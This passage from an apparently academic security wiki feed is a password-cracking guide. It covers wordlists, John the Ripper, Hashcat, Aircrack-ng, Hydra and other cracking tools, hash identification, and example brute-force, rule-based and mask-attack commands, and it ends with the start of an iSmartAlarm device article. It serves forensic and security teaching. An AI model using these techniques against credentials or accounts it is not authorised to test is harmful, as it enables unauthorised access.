&amp;lt;th&amp;gt;~1 hour&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~3-4 hours&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;MD5, NTLM, SHA(1-256), MySQL&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;gt;5000 MH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;md5apr1, md5crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;5000 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;WPA/WPA2,sha256crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;200 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1802 HashesOrg]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;PBKDF2, bcrypt, sha512crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;5 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/545 dazzlepod]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/90 rockyou.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wordlist can also be created using web scraper, like the [https://github.com/digininja/cewl Custom Wordlist Generator] (&amp;lt;code&amp;gt;CeWL&amp;lt;/code&amp;gt;). Alternatively &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; can be used to create wordlists. In the following examples the rules single and wordlist are used to generate all possible mutations and permutations from a source wordlist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;john -wordlist=&amp;quot;source_wordlist.txt&amp;quot; -rules=Single,Wordlist -stdout &amp;gt; &amp;quot;single_wordlist.txt&amp;quot;&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;John the Ripper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
John the Ripper acronyms for John or JtR is a popular open-source password cracker from the Openwall developers. Historically, the main use has been to find weak UNIX passwords. To this day, john has been evolved to be fast and rich in features. John has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks. It should be noted that john even provides the ability to define custom cracking modes using a built-in C compiler. The developers provide additional variants like a commercial John the Ripper Pro version and Hash Suite, which is recommended when using Android or Windows. Besides the above-mentioned programs, there is also a graphical version of John named [https://openwall.info/wiki/john/johnny Johnny], for those who are not friends of the console, that is available for Linux, macOS, and Windows.&lt;br /&gt;
&lt;br /&gt;
Furthermore John offers some support for CUDA and OpenCL [https://openwall.info/wiki/john/GPU GPUs]. Whereas, CUDA is a parallel computing platform and programming model developed by NVIDIA for general computing on graphical processing units (GPUs). With CUDA, developers are able to dramatically speed up computing applications by harnessing the power of GPUs. OpenCL (Open Computing Language), on the other hand, is a low-level API for heterogeneous computing that runs on CUDA-powered GPUs. Using the OpenCL API, developers can launch compute kernels written using a limited subset of the C programming language on a GPU. [W7] No official numbers have been found regarding the number of supported hash algorithms for john, but there are over 2000 difference algorithms included in the jumbo version. Many of the algorithms under john are combinations of algorithms. These combinations are identified by the foreword dynamic_ and a subsequent number. Such combinations only appear in the jumbo version and have been added by the community.&lt;br /&gt;
&lt;br /&gt;
Implementations exist for many UNIX-based systems such as Linux, macOS, Android, and Solaris, as well as for Windows. But also for more exotic devices running under DOS, BeOS, or OpenVMS. The resources are provided as pre-compiled binaries or as source code. The latter can then be adapted as desired and compiled for a specific system. A basic version of John can be installed using package managers such as apt, pkg, or snap. However, it is recommended to choose the community enhanced-jumbo version, which offers support for a variety of additional password hash types as well as non-hashes like SSH private keys, RAR archives, or PDF files. The following listing provides the necessary steps to clone and build latest bleeding-edge Jumbo version of John on most UNIX-based system. Source files for all versions could also be downloaded from [https://download.openwall.net/pub/projects/john/ Openwall.net]. See also [[Password cracking on Android]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john 3 &lt;br /&gt;
# Build&lt;br /&gt;
cd ./john/src &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make -s clean &amp;amp;&amp;amp; make -sj4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Hashcat&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat is yet another very popular cross-platform cracking tool, whose developers claim to have developed the world’s fastest and most advanced open-source password recovery utility. Since [https://hashcat.net/wiki/ Hashcat] version 3, the old CPU-based hashcat-legacy and GPU-based oclHashcat have been merged. The tool allows to use all OpenCL compatible processors of the same device in parallel and even work distributed over the network. Hashcat supports five unique attack modes for more than 200 highly optimized hash algorithms. &lt;br /&gt;
&lt;br /&gt;
Hashcat currently supports CPUs, GPUs, and other hardware accelerators such as DSPs, FPGAs, and co-processors in Linux, Windows, and macOS, as well as distributed password decryption functions. Almost all of this information and much more can be found on the Hashcat man page, which is one of the best that I have seen so far. Hashcat can be downloaded via package manager like `apt` under Linux or `brew` on macOS. But here it is recommended to download the source files again and build it manually. Compared to john, however, fewer platforms are supported here. The processors available for each platform can be listed using the `-I` or `–opencl-info` flag. These may need the corresponding drivers for Intel, AMD, or NVIDIA to be addressed correctly. This process will not be successful on every platform.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone https://github.com/hashcat/hashcat.git&lt;br /&gt;
# Build&lt;br /&gt;
cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Miscellaneous Tools&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There is no black and white, and all tools have their strengths as well as their weaknesses. Also, combinations between some are quite useful. This section consists mostly of descriptions of the individual developers as they can best introduce themselves and as this section is only intended to introduce further tools. Written-off paragraphs are marked with a footnote. Here the Kali Linux knowledge-base [W2] has been referenced, which in turn refer to the developers’ websites and Github repositories, as well as giving short usage examples. The following examples have been selected by versatility and range of application to present other great tools besides Hashcat and John. aircrack-ng suite to analyze and attack wireless networks. THC-Hydra, an online login cracker and the alternative ncrack for our nmap lovers, Medusa is be the third in line. WFuzz, the web application cracker and last but not least RainbowCrack which uses rainbow tables to crack passwords.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Aircrack-ng&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/wireless-attacks/aircrack-ng Aircrack-ng] is an 802.11 Wired Equivalent Privacy (WEP) and Wifi Protected Access pre-shared key (WPA-PSK) cracking program that can recover keys once enough data packets have been captured. It implements the standard Fluhrer, Mantin, and Shamir (FMS) attack along with some optimizations like KoreK attacks, as well as the all-new Pychkine-Tews-Weinmann (PTW) attack, thus making the attack much faster compared to other WEP. However, Aircrack-ng is much more than just a cracking program. &lt;br /&gt;
&lt;br /&gt;
The developers offer a versatile application suite for analyzing and attacking wireless networks. `aerodump-ng` even makes it possible to capture packets in a wireless network, and then attack contained handshakes of a WPA/WPA2-PSK using Hashcat or John efficiently. See also [[WPA/WPA2 PSK deauthentication attack]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;THC Hydra&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/hydra THC Hydra] is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;ncrack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/ncrack Ncrack] is a high-speed network authentication cracking tool. It was designed using a modular approach, a command-line syntax similar to Nmap, and a dynamic engine that can adapt its behavior based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s, and many more. &lt;br /&gt;
&lt;br /&gt;
At this point should be noted that Nmap itself can be used for simple online attacks, by using the -script parameter with the desired script like telnet-brute.nse and the corresponding values for userdb and passwd with the additional parameter -script-args. See also [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WFuzz&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/web-applications/wfuzz Wfuzz] (the web fuzzer) is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc.), bruteforce Forms parameters (User/Password), Fuzzing, etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Rainbow Crack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat nor john are capable of performing rainbow attacks. This is were [https://tools.kali.org/password-attacks/rainbowcrack RainbowCrack] comes into the game. An alternative tool to perform rainbow attacks is Ophcrack, a free Windows (LM and NTLM) password cracker which also provides a GUI, and WOphcrack, a PHP based web frontend for Ophcrack.&lt;br /&gt;
&lt;br /&gt;
RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. RainbowCrack uses a time-memory tradeoff algorithm to crack hashes. A time-memory tradeoff hash cracker needs a pre-computation stage. At the time, all plaintext/hash pairs within the selected hash algorithm, charset, plaintext length are computed, and results are stored in files called rainbow table. It is time-consuming to do this kind of computation. But once the one-time pre-computation is finished, hashes stored in the table can be cracked with much better performance than a brute force cracker.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Procedure&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This Chapter provides a basic guideline for offline password cracking. It is intended for scenarios, where the analysist is presented with a hashed password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Identification&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
First, the according hashing algorithm must be identified. the In a nutshell there are there are three componenents used for manual hash identification:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Special Characters&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Character Set&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Length of the Hash&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
There are automated tools for the terminal or online that perform the identification based on HEX encoded hashes. But it is always only about guessing and probability, since f.e. cascaded algorithms cannot simply be identified. This should be used in combination with manual identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left:15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashid&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hash-identifier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net/hash_type_checker md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://www.onlinehashcrack.com/hash-identification.php onlinehashcrack.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://hashes.com/en/tools/hash_identifier hashes.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The passwords must first be sanitized and decoded, if necessary. The goal is to get a HEX string in the next step. &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; may be used to indicate HEX, but is not important and can be discarded. Furthermore the special characters &amp;lt;code&amp;gt;:&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt; are commonly used as delimiter between salt and digest and are not part of the charset. For all passwords which are not of the charset [a-fA-F0-9] a BASE64 encoding, with the charset [A-Za-z0-9+/], was used. Base{16,32,64} encoding is usually recognized quickly due to one or two trailing &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt;, which are used for padding. The Base{16,32,64} encoding format and charset is described in [https://www.rfc-editor.org/rfc/rfc4648.txt RFC4648]. In this scenario BASE64 and HEX encoding should be the only ones that are used. Mind the &amp;lt;code&amp;gt;-n&amp;lt;/code&amp;gt; with the &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt; command in oder to supress adding a trailing &amp;lt;code&amp;gt;\n&amp;lt;/code&amp;gt;. The hashcat [https://hashcat.net/wiki/doku.php?id=example_hashes example hashes] or the &amp;lt;code&amp;gt;john --list=format-details&amp;lt;/code&amp;gt; can be used as a reference for manual identification. If there is information about the system that creates or uses the hashes, its documentation could be consulted. Below some helper commands for manual hash identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# ASCII to Base64 &lt;br /&gt;
echo -n $STRING | base64 &lt;br /&gt;
# Base64 to ASCII &lt;br /&gt;
echo -n $BASE64 | base64 -d &lt;br /&gt;
# ASCII to HEX &lt;br /&gt;
echo -n $STRING | xxd -pu &lt;br /&gt;
# String length &lt;br /&gt;
echo -n $STRING | wc -c &lt;br /&gt;
# HEX encoded String bit length &lt;br /&gt;
echo $((`echo -n $HEX_ENCODED_STRING | wc -c` / 2)) &lt;br /&gt;
echo -n $HEX_ENCODED_STRING | perl -lpe &#039;$_=unpack&amp;quot;B*&amp;quot;&#039; | wc -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Cracking&amp;lt;/h2&amp;gt;&lt;br /&gt;
It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU). See also [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]. John the Ripper has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks using the CPU. Hashcat is claimed to be the world’s fastest and most advanced open-source password recovery utility and supports five unique attack modes using GPUs, DSPs, FPGAs, and co-processors. The John jumbo edition supports way more hash types than hashcat (~2300 &amp;gt; ~200), while hashcat is highly optimized and may not run an any hardware and OS. Alternatively there are online lookup tables. However, this is useless for most slated hashes and advanced hashing algorithms. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/i&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashcat&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;RainbowCrack&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://crackstation.net crackstation.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://google.com Google]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;!--The following paragraphs present the most common modes used with password attacks. For supported attack modes consider the [https://www.openwall.com/john/doc/MODES.shtml john] and [https://hashcat.net/wiki/ hashcat] documentation or man pages instead.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Bruteforce attacks&#039;&#039;&#039; try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored.&lt;br /&gt;
* &#039;&#039;&#039;Dictionary attacks&#039;&#039;&#039; are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence.&lt;br /&gt;
* &#039;&#039;&#039;Rainbow attacks&#039;&#039;&#039; are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function.&lt;br /&gt;
* &#039;&#039;&#039;Hybrid attacks&#039;&#039;&#039; combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password is known.&lt;br /&gt;
* &#039;&#039;&#039;Rule-based attacks&#039;&#039;&#039; use methods to change passwords to cover all variants.&lt;br /&gt;
* &#039;&#039;&#039;Syllable attacks&#039;&#039;&#039;: Combination of bruteforce and dictionary attack checking all permutations of each word within a wordlist.&lt;br /&gt;
* &#039;&#039;&#039;Other attacks&#039;&#039;&#039;: Combinator, Fingerprint, Mask, Toggle-Case, Permutation, TableLookup, PRINCE.--&amp;gt;&lt;br /&gt;
&amp;lt;h3&amp;gt;Examples&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Hash detection&lt;br /&gt;
john $HASHFILE&lt;br /&gt;
&lt;br /&gt;
# Incremental Brute-force&lt;br /&gt;
john --incremental=ASCII $HASHFILE --format=dynamic_1 --fork=16&lt;br /&gt;
&lt;br /&gt;
# Rule-based&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist,Single \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
&lt;br /&gt;
# Custom rule that adds a new line to the end of ech password from a wordlist&lt;br /&gt;
cat AddNewLine.rule&lt;br /&gt;
[List.Rules:AddNewLine]&lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
sudo nice -n -20 john $HASHFILE --rules=AddNewLine.rule \&lt;br /&gt;
   --wordlist=$WORDLIST --format=Raw-SHA1&lt;br /&gt;
&lt;br /&gt;
# Bruteforce&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 3 password?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Wordlist + Mask attack&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 6 $WORDLIST ?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Custom Rule&lt;br /&gt;
cat AddNewLine.rule           &lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
# Straight attack /w custom rule&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 -r AddNewLine.rule \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 0 $WORDLIST&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Related&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[Password Security]]&lt;br /&gt;
* [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]&lt;br /&gt;
* [[Acquisition and Cracking of macOS User Passwords]]&lt;br /&gt;
* [[Password cracking on Android]]&lt;br /&gt;
* [[WPA/WPA2 PSK deauthentication attack]]&lt;br /&gt;
* [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [W1] WeakPass: Pick the right wordlist. (Visited: 16.10.2020):&lt;br /&gt;
** https://weakpass.com/wordlist&lt;br /&gt;
** https://weakpass.com/calc&lt;br /&gt;
* [W2] Kali Linux: The quieter you become, the more you are able to hear https://www.kali.org (Visited: 25.11.2019)&lt;br /&gt;
* [W3] Openwall: John the Ripper password cracker (Visited: 22.11.2019): &lt;br /&gt;
** https://www.openwall.com/john/ &lt;br /&gt;
** https://openwall.info/wiki/john/benchmarks &lt;br /&gt;
** https://openwall.info/wiki/john/johnny &lt;br /&gt;
** https://openwall.info/wiki/john/GPU &lt;br /&gt;
** git://github.com/magnumripper/JohnTheRipper&lt;br /&gt;
** https://www.openwall.com/john/doc/MODES.shtml&lt;br /&gt;
** https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC&lt;br /&gt;
* [W4] Hashcat: Advanced Password Recovery (Visited: 23.11.2019): &lt;br /&gt;
** https://hashcat.net/hashcat/ &lt;br /&gt;
** https://hashcat.net/wiki/ &lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=hashcat &lt;br /&gt;
** https://github.com/hashcat/hashcat&lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=example_hashes&lt;br /&gt;
* [W5] Aircrack-ng: complete suite of tools to assess WiFi network security:&lt;br /&gt;
** https://www.aircrack-ng.org/documentation.html &lt;br /&gt;
** https://github.com/aircrack-ng/aircrack-ng&lt;br /&gt;
* [W6] Varonis: How to Use John the Ripper (Updated: 13.08.2019, Visited: 25.11.2019): &lt;br /&gt;
** https://www.varonis.com/blog/john-the-ripper/ &lt;br /&gt;
* [W7] NVIDIA: High Performance Computing (Visited: 25.11.2019):&lt;br /&gt;
** https://developer.nvidia.com/opencl &lt;br /&gt;
** https://developer.nvidia.com/cuda-zone &lt;br /&gt;
* [W8] ophcrack: a free Windows password cracker (Visited: 25.11.2019): &lt;br /&gt;
** https://ophcrack.sourceforge.io/&lt;br /&gt;
* [B1] Hash Crack: Password Cracking Manual. NETMUX, 2019, ISBN: 9781793458612.&lt;br /&gt;
* [P1] Special Publication 800-63: Digital Identity Guidelines. NIST, 2017, DOI: NIST.SP.800-63-3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_iSmartAlarm_devices&amp;diff=4733</id>
		<title>Examination of iSmartAlarm devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_iSmartAlarm_devices&amp;diff=4733"/>
		<updated>2020-11-08T16:21:24Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Major: Initial version&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The analysis of this device was discontinued due to the fact that it cannot be functionally tested. The iSmartAlarm (v2.1.6) app crashes and previous versions do not allow the device to be properly set up. From my point of view the service offered by iSmartAlarm is garbage and I can&#039;t understand any of the awards or praise they claim to hold. However, the vendor specific code (iSC5) and endpoint could be analyzed further.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;iSmart Alarm, Inc. was founded in Silicon Valley in 2012 on the principles of safety, beauty, and intelligence. They claim to be pioneers and leaders in the best smartphone-enabled home security and home control system industry, with rave reviews from CNET, Digital Trends, PC Mag, and others&amp;lt;sup&amp;gt;[https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews]&amp;lt;/sup&amp;gt;. The sleek, easy-to-use system utilizes a smartphone and tablet app to put home security and home control in the palm of its users&#039; hands. &lt;br /&gt;
&lt;br /&gt;
